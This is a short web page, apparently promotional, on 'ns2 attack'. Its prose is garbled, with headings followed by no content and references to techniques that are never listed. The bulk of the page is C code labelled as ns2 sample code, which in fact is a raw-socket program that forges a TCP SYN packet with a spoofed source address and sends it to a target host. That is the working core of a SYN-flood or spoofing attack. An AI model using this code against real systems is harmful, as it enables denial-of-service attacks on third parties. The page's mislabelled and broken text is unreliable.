ns2 attack

ns2 attack – What is attack??? Operations to disrupt, deny, degrade, or destroy information resident in computers and computer networks, or the computers and networks themselves are called as attack.

Different Types of attacks

Techniques involved in ns2 attack:

Majorly there are also two important techniques are involved in attacks are:

Depending upon also the attacks the above mentionthose techniques are varied.

Sample Ns2 code for Different Attacks

#include<sys/socket.h>
#include<stdlib.h> //for exit(0);
#include<errno.h> //For errno - the error number
#include<netinet/tcp.h>   //Provides declarations for tcp header
#include<netinet/ip.h>    //Provides declarations for ip header
 struct pseudo_header    //needed for checksum calculation
{
    unsigned int source_address;
    unsigned int dest_address;
    unsigned char placeholder;
    unsigned char protocol;
    unsigned short tcp_length;
     
    struct tcphdr tcp;
};
 unsigned short csum(unsigned short *ptr,int nbytes) {
    register long sum;
    unsigned short oddbyte;
    register short answer;
     sum=0;
    while(nbytes>1) {
        sum+=*ptr++;
        nbytes-=2;
    }
    if(nbytes==1) {
        oddbyte=0;
        *((u_char*)&oddbyte)=*(u_char*)ptr;
        sum+=oddbyte;
    }
     sum = (sum>>16)+(sum & 0xffff);
    sum = sum + (sum>>16);
    answer=(short)~sum;
   return(answer);
}
 int main (void)
{
    int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
    char datagram[4096] , source_ip[32];
    struct iphdr *iph = (struct iphdr *) datagram;
    struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
    struct sockaddr_in sin;
    struct pseudo_header psh;
     strcpy(source_ip , "192.168.1.2");
    sin.sin_family = AF_INET;
    sin.sin_port = htons(80);
    sin.sin_addr.s_addr = inet_addr ("1.2.3.4");
     memset (datagram, 0, 4096); /* zero out the buffer */
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
    iph->id = htons(54321);  //Id of this packet
    iph->frag_off = 0;
    iph->ttl = 255;
    iph->protocol = IPPROTO_TCP;
    iph->check = 0;      //Set to 0 before calculating checksum
    iph->saddr = inet_addr ( source_ip );    //Spoof the source ip address
    iph->daddr = sin.sin_addr.s_addr;
     iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
    tcph->source = htons (1234);
    tcph->dest = htons (80);
    tcph->seq = 0;
    tcph->ack_seq = 0;
    tcph->doff = 5;      /* first and only tcp segment */
    tcph->fin=0;
    tcph->syn=1;
    tcph->rst=0;
    tcph->psh=0;
    tcph->ack=0;
    tcph->urg=0;
    tcph->window = htons (5840); /* maximum allowed window size */
    tcph->check = 0;
    tcph->urg_ptr = 0;
    psh.source_address = inet_addr( source_ip );
    psh.dest_address = sin.sin_addr.s_addr;
    psh.placeholder = 0;
    psh.protocol = IPPROTO_TCP;
    psh.tcp_length = htons(20);
    memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
    tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
         int one = 1;
    const int *val = &one;
    if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
    {
        printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno));
        exit(0);
    }
            if (sendto (s,      /* our socket */
                    datagram,   /* the buffer containing headers and data */
                    iph->tot_len,    /* total length of our datagram */
                    0,      /* routing flags, normally always 0 */
                    (struct sockaddr *) &sin,   /* socket addr, just like in */
                    sizeof (sin)) < 0)       /* a normal send() */
        {
            printf ("error\n");
        }
        //Data send successfully
        else
        {
            printf ("Packet Send \n");
        }
  return 0;
}